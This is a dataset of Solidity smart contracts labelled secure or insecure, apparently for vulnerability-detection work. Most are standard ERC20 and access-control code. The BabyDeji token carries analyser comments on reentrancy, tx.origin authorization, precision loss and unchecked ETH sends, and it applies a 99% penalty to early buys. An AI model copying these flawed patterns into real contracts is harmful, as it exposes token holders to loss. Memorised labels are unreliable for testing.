files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function burn(uint256 value) public virtual {\n _burn(_msgSender(), value);\n }\n\n function burnFrom(address account, uint256 value) public virtual {\n _spendAllowance(account, _msgSender(), value);\n\n _burn(account, value);\n }\n}",
"file_name": "solidity_code_19.sol",
"secure": 1,
"size_bytes": 514
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ninterface IERC721Metadata is IERC721 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9124046): janodotpt.mint(address,string,uint256).tokenURI shadows ERC721URIStorage.tokenURI(uint256) (function) ERC721.tokenURI(uint256) (function) IERC721Metadata.tokenURI(uint256) (function)\n\t// Recommendation for 9124046: Rename the local variables that shadow another component.\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}",
"file_name": "solidity_code_190.sol",
"secure": 0,
"size_bytes": 732
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/IAccessControl.sol\" as IAccessControl;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\n\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address => bool) members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n modifier onlyRole(bytes32 role) {\n _checkRole(role);\n _;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == type(IAccessControl).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function hasRole(\n bytes32 role,\n address account\n ) public view virtual override returns (bool) {\n return _roles[role].members[account];\n }\n\n function _checkRole(bytes32 role) internal view virtual {\n _checkRole(role, _msgSender());\n }\n\n function _checkRole(bytes32 role, address account) internal view virtual {\n if (!hasRole(role, account)) {\n revert(\n string(\n abi.encodePacked(\n \"AccessControl: account \",\n Strings.toHexString(uint160(account), 20),\n \" is missing role \",\n Strings.toHexString(uint256(role), 32)\n )\n )\n );\n }\n }\n\n function getRoleAdmin(\n bytes32 role\n ) public view virtual override returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n function grantRole(\n bytes32 role,\n address account\n ) public virtual override onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n function revokeRole(\n bytes32 role,\n address account\n ) public virtual override onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n function renounceRole(\n bytes32 role,\n address account\n ) public virtual override {\n require(\n account == _msgSender(),\n \"AccessControl: can only renounce roles for self\"\n );\n\n _revokeRole(role, account);\n }\n\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n bytes32 previousAdminRole = getRoleAdmin(role);\n _roles[role].adminRole = adminRole;\n emit RoleAdminChanged(role, previousAdminRole, adminRole);\n }\n\n function _grantRole(bytes32 role, address account) internal virtual {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _revokeRole(bytes32 role, address account) internal virtual {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}",
"file_name": "solidity_code_1900.sol",
"secure": 1,
"size_bytes": 3453
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"@openzeppelin/contracts/access/AccessControl.sol\" as AccessControl;\n\ncontract ForTheDog is ERC20, ERC20Burnable, Pausable, AccessControl {\n bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n bytes32 public constant LOCK_TRANSFER_ROLE =\n keccak256(\"LOCK_TRANSFER_ROLE\");\n\n\t// WARNING Optimization Issue (immutable-states | ID: a1bf769): ForTheDog._limitMint should be immutable \n\t// Recommendation for a1bf769: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _limitMint;\n\n mapping(address => bool) internal _fullLockList;\n\n constructor() ERC20(\"ForTheDog\", \"FTD\") {\n _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);\n _grantRole(PAUSER_ROLE, msg.sender);\n _mint(msg.sender, 16 * 10 ** 8 * 10 ** decimals());\n _limitMint = 16 * 10 ** 8 * 10 ** decimals();\n _grantRole(MINTER_ROLE, msg.sender);\n _grantRole(LOCK_TRANSFER_ROLE, msg.sender);\n }\n\n function pause() public onlyRole(PAUSER_ROLE) {\n _pause();\n }\n\n function unpause() public onlyRole(PAUSER_ROLE) {\n _unpause();\n }\n\n function mint(address to, uint256 amount) external onlyRole(MINTER_ROLE) {\n require(\n totalSupply() + amount <= _limitMint,\n \"The number of additional issuance has been exceeded.\"\n );\n _mint(to, amount);\n }\n\n function fullLockAddress(\n address account\n ) external onlyRole(LOCK_TRANSFER_ROLE) returns (bool) {\n _fullLockList[account] = true;\n return true;\n }\n\n function unFullLockAddress(\n address account\n ) external onlyRole(LOCK_TRANSFER_ROLE) returns (bool) {\n delete _fullLockList[account];\n return true;\n }\n\n function fullLockedAddressList(\n address account\n ) external view virtual returns (bool) {\n return _fullLockList[account];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override whenNotPaused {\n require(!_fullLockList[from], \"Token transfer from LockedAddressList\");\n super._beforeTokenTransfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_1901.sol",
"secure": 1,
"size_bytes": 2632
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked1 {\n uint128 a;\n uint256 b;\n uint128 c;\n\n function SetInts() public {\n a = 1;\n b = 2;\n c = 3;\n }\n}",
"file_name": "solidity_code_1902.sol",
"secure": 1,
"size_bytes": 230
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"./IDexFactory.sol\" as IDexFactory;\n\ncontract BabyDeji is ERC20, Ownable {\n uint256 public maxBuyAmount;\n uint256 public maxSellAmount;\n uint256 public maxWalletAmount;\n\n IDexRouter public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool private swapping;\n uint256 public swapTokensAtAmount;\n\n address public operationsAddress;\n address public TaxAddress;\n\n uint256 public tradingActiveBlock = 0;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n uint256 public buyOperationsFee;\n uint256 public buyLiquidityFee;\n uint256 public buyTaxFee;\n\n uint256 public sellTotalFees;\n uint256 public sellOperationsFee;\n uint256 public sellLiquidityFee;\n uint256 public sellTaxFee;\n\n uint256 public tokensForOperations;\n uint256 public tokensForLiquidity;\n uint256 public tokensForTax;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event EnabledTrading();\n event RemovedLimits();\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event UpdatedMaxBuyAmount(uint256 newAmount);\n\n event UpdatedMaxSellAmount(uint256 newAmount);\n\n event UpdatedMaxWalletAmount(uint256 newAmount);\n\n event UpdatedOperationsAddress(address indexed newWallet);\n\n event UpdatedTaxAddress(address indexed newWallet);\n\n event MaxTransactionExclusion(address _address, bool excluded);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event TransferForeignToken(address token, uint256 amount);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2a64dd2): BabyDeji.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 2a64dd2: Rename the local variables that shadow another component.\n constructor() ERC20(\"Baby Deji\", \"SmolDeji\") {\n address newOwner = msg.sender;\n\n IDexRouter _uniswapV2Router = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IDexFactory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 totalSupply = 1 * 1e9 * 1e18;\n\n maxBuyAmount = (totalSupply * 30) / 1000;\n maxSellAmount = (totalSupply * 30) / 1000;\n maxWalletAmount = (totalSupply * 30) / 1000;\n swapTokensAtAmount = (totalSupply * 25) / 100000;\n\n buyOperationsFee = 0;\n buyLiquidityFee = 0;\n buyTaxFee = 0;\n buyTotalFees = buyOperationsFee + buyLiquidityFee + buyTaxFee;\n\n sellOperationsFee = 10;\n sellLiquidityFee = 0;\n sellTaxFee = 0;\n sellTotalFees = sellOperationsFee + sellLiquidityFee + sellTaxFee;\n\n _excludeFromMaxTransaction(newOwner, true);\n _excludeFromMaxTransaction(address(this), true);\n _excludeFromMaxTransaction(address(0xdead), true);\n\n excludeFromFees(newOwner, true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(0xdead), true);\n\n operationsAddress = address(0x096A0890AecEA73C21CA6A80b99e4CEF7Eba3aC3);\n TaxAddress = address(0x096A0890AecEA73C21CA6A80b99e4CEF7Eba3aC3);\n\n _createInitialSupply(newOwner, totalSupply);\n transferOwnership(newOwner);\n }\n\n receive() external payable {}\n\n function enableTrading() external onlyOwner {\n require(!tradingActive, \"Cannot reenable trading\");\n tradingActive = true;\n swapEnabled = true;\n tradingActiveBlock = block.number;\n emit EnabledTrading();\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n transferDelayEnabled = false;\n emit RemovedLimits();\n }\n\n function disableTransferDelay() external onlyOwner {\n transferDelayEnabled = false;\n }\n\n function updateMaxBuyAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set max buy amount lower than 0.1%\"\n );\n maxBuyAmount = newNum * (10 ** 18);\n emit UpdatedMaxBuyAmount(maxBuyAmount);\n }\n\n function updateMaxSellAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set max sell amount lower than 0.1%\"\n );\n maxSellAmount = newNum * (10 ** 18);\n emit UpdatedMaxSellAmount(maxSellAmount);\n }\n\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 3) / 1000) / 1e18,\n \"Cannot set max wallet amount lower than 0.3%\"\n );\n maxWalletAmount = newNum * (10 ** 18);\n emit UpdatedMaxWalletAmount(maxWalletAmount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d9050c4): BabyDeji.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for d9050c4: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 1) / 1000,\n \"Swap amount cannot be higher than 0.1% total supply.\"\n );\n\t\t// events-maths | ID: d9050c4\n swapTokensAtAmount = newAmount;\n }\n\n function _excludeFromMaxTransaction(\n address updAds,\n bool isExcluded\n ) private {\n _isExcludedMaxTransactionAmount[updAds] = isExcluded;\n emit MaxTransactionExclusion(updAds, isExcluded);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) external onlyOwner {\n if (!isEx) {\n require(\n updAds != uniswapV2Pair,\n \"Cannot remove uniswap pair from max txn\"\n );\n }\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n _excludeFromMaxTransaction(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ecbac22): Missing events for critical arithmetic parameters.\n\t// Recommendation for ecbac22: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _operationsFee,\n uint256 _liquidityFee,\n uint256 _TaxFee\n ) external onlyOwner {\n\t\t// events-maths | ID: ecbac22\n buyOperationsFee = _operationsFee;\n\t\t// events-maths | ID: ecbac22\n buyLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: ecbac22\n buyTaxFee = _TaxFee;\n\t\t// events-maths | ID: ecbac22\n buyTotalFees = buyOperationsFee + buyLiquidityFee + buyTaxFee;\n require(buyTotalFees <= 15, \"Must keep fees at 15% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7c71b95): Missing events for critical arithmetic parameters.\n\t// Recommendation for 7c71b95: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _operationsFee,\n uint256 _liquidityFee,\n uint256 _TaxFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 7c71b95\n sellOperationsFee = _operationsFee;\n\t\t// events-maths | ID: 7c71b95\n sellLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: 7c71b95\n sellTaxFee = _TaxFee;\n\t\t// events-maths | ID: 7c71b95\n sellTotalFees = sellOperationsFee + sellLiquidityFee + sellTaxFee;\n require(sellTotalFees <= 20, \"Must keep fees at 20% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 369b434): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 369b434: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: b49a3b0): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for b49a3b0: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a2e68d8): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for a2e68d8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a5ec238): BabyDeji._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for a5ec238: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c28b2a6): BabyDeji._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForTax += (fees * buyTaxFee) / buyTotalFees\n\t// Recommendation for c28b2a6: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 864083e): BabyDeji._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * sellTotalFees) / 100 tokensForTax += (fees * sellTaxFee) / sellTotalFees\n\t// Recommendation for 864083e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e9fd739): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for e9fd739: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9b22313): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 9b22313: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 63429e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 63429e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"amount must be greater than 0\");\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead)\n ) {\n if (!tradingActive) {\n require(\n _isExcludedMaxTransactionAmount[from] ||\n _isExcludedMaxTransactionAmount[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: b49a3b0\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number - 4 &&\n _holderLastTransferTimestamp[to] <\n block.number - 4,\n \"_transfer:: Transfer Delay enabled. Try again later.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n _holderLastTransferTimestamp[to] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxBuyAmount,\n \"Buy transfer amount exceeds the max buy.\"\n );\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Cannot Exceed max wallet\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxSellAmount,\n \"Sell transfer amount exceeds the max sell.\"\n );\n } else if (\n !_isExcludedMaxTransactionAmount[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Cannot Exceed max wallet\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 369b434\n\t\t\t// reentrancy-eth | ID: 63429e5\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 63429e5\n swapping = false;\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n uint256 penaltyAmount = 0;\n\n if (takeFee) {\n if (\n tradingActiveBlock >= block.number + 1 &&\n automatedMarketMakerPairs[from]\n ) {\n penaltyAmount = (amount * 99) / 100;\n\t\t\t\t// reentrancy-events | ID: 369b434\n\t\t\t\t// reentrancy-eth | ID: 63429e5\n super._transfer(from, operationsAddress, penaltyAmount);\n } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: a2e68d8\n\t\t\t\t// divide-before-multiply | ID: 864083e\n\t\t\t\t// divide-before-multiply | ID: e9fd739\n fees = (amount * sellTotalFees) / 100;\n\t\t\t\t// divide-before-multiply | ID: e9fd739\n\t\t\t\t// reentrancy-eth | ID: 63429e5\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: a2e68d8\n\t\t\t\t// reentrancy-eth | ID: 63429e5\n tokensForOperations +=\n (fees * sellOperationsFee) /\n sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 864083e\n\t\t\t\t// reentrancy-eth | ID: 63429e5\n tokensForTax += (fees * sellTaxFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: a5ec238\n\t\t\t\t// divide-before-multiply | ID: c28b2a6\n\t\t\t\t// divide-before-multiply | ID: 9b22313\n fees = (amount * buyTotalFees) / 100;\n\t\t\t\t// divide-before-multiply | ID: a5ec238\n\t\t\t\t// reentrancy-eth | ID: 63429e5\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 9b22313\n\t\t\t\t// reentrancy-eth | ID: 63429e5\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: c28b2a6\n\t\t\t\t// reentrancy-eth | ID: 63429e5\n tokensForTax += (fees * buyTaxFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 369b434\n\t\t\t\t// reentrancy-eth | ID: 63429e5\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees + penaltyAmount;\n }\n\n\t\t// reentrancy-events | ID: 369b434\n\t\t// reentrancy-eth | ID: 63429e5\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2fd07d3\n\t\t// reentrancy-events | ID: 369b434\n\t\t// reentrancy-benign | ID: 2355e5e\n\t\t// reentrancy-no-eth | ID: cdbb648\n\t\t// reentrancy-eth | ID: 63429e5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c73f2d9): BabyDeji.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(0xdead),block.timestamp)\n\t// Recommendation for c73f2d9: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2fd07d3\n\t\t// reentrancy-events | ID: 369b434\n\t\t// reentrancy-benign | ID: 2355e5e\n\t\t// unused-return | ID: c73f2d9\n\t\t// reentrancy-eth | ID: 63429e5\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(0xdead),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2fd07d3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2fd07d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2355e5e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2355e5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: cdbb648): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for cdbb648: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 87a376b): BabyDeji.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(operationsAddress).call{value address(this).balance}()\n\t// Recommendation for 87a376b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 6d067e1): BabyDeji.swapBack().success is written in both (success,None) = address(TaxAddress).call{value ethForTax}() (success,None) = address(operationsAddress).call{value address(this).balance}()\n\t// Recommendation for 6d067e1: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForOperations +\n tokensForTax;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 10) {\n contractBalance = swapTokensAtAmount * 10;\n }\n\n bool success;\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n\n\t\t// reentrancy-events | ID: 2fd07d3\n\t\t// reentrancy-benign | ID: 2355e5e\n\t\t// reentrancy-no-eth | ID: cdbb648\n swapTokensForEth(contractBalance - liquidityTokens);\n\n uint256 ethBalance = address(this).balance;\n uint256 ethForLiquidity = ethBalance;\n\n uint256 ethForOperations = (ethBalance * tokensForOperations) /\n (totalTokensToSwap - (tokensForLiquidity / 2));\n uint256 ethForTax = (ethBalance * tokensForTax) /\n (totalTokensToSwap - (tokensForLiquidity / 2));\n\n ethForLiquidity -= ethForOperations + ethForTax;\n\n\t\t// reentrancy-no-eth | ID: cdbb648\n tokensForLiquidity = 0;\n\t\t// reentrancy-no-eth | ID: cdbb648\n tokensForOperations = 0;\n\t\t// reentrancy-no-eth | ID: cdbb648\n tokensForTax = 0;\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: 2fd07d3\n\t\t\t// reentrancy-benign | ID: 2355e5e\n addLiquidity(liquidityTokens, ethForLiquidity);\n }\n\n\t\t// reentrancy-events | ID: 369b434\n\t\t// write-after-write | ID: 6d067e1\n\t\t// reentrancy-eth | ID: 63429e5\n (success, ) = address(TaxAddress).call{value: ethForTax}(\"\");\n\n\t\t// reentrancy-events | ID: 369b434\n\t\t// write-after-write | ID: 6d067e1\n\t\t// reentrancy-eth | ID: 63429e5\n\t\t// arbitrary-send-eth | ID: 87a376b\n (success, ) = address(operationsAddress).call{\n value: address(this).balance\n }(\"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 116e612): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 116e612: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferForeignToken(\n address _token,\n address _to\n ) external onlyOwner returns (bool _sent) {\n require(_token != address(0), \"_token address cannot be 0\");\n require(_token != address(this), \"Can't withdraw native tokens\");\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\t\t// reentrancy-events | ID: 116e612\n _sent = IERC20(_token).transfer(_to, _contractBalance);\n\t\t// reentrancy-events | ID: 116e612\n emit TransferForeignToken(_token, _contractBalance);\n }\n\n function withdrawStuckETH() external onlyOwner {\n bool success;\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n function setOperationsAddress(\n address _operationsAddress\n ) external onlyOwner {\n require(\n _operationsAddress != address(0),\n \"_operationsAddress address cannot be 0\"\n );\n operationsAddress = payable(_operationsAddress);\n emit UpdatedOperationsAddress(_operationsAddress);\n }\n\n function setTaxAddress(address _TaxAddress) external onlyOwner {\n require(_TaxAddress != address(0), \"_TaxAddress address cannot be 0\");\n TaxAddress = payable(_TaxAddress);\n emit UpdatedTaxAddress(_TaxAddress);\n }\n}",
"file_name": "solidity_code_1903.sol",
"secure": 0,
"size_bytes": 25771
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract UCONetwork is ERC20 {\n constructor() ERC20(\"UCONetwork\", \"UCOIL\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1904.sol",
"secure": 1,
"size_bytes": 278
} |
{
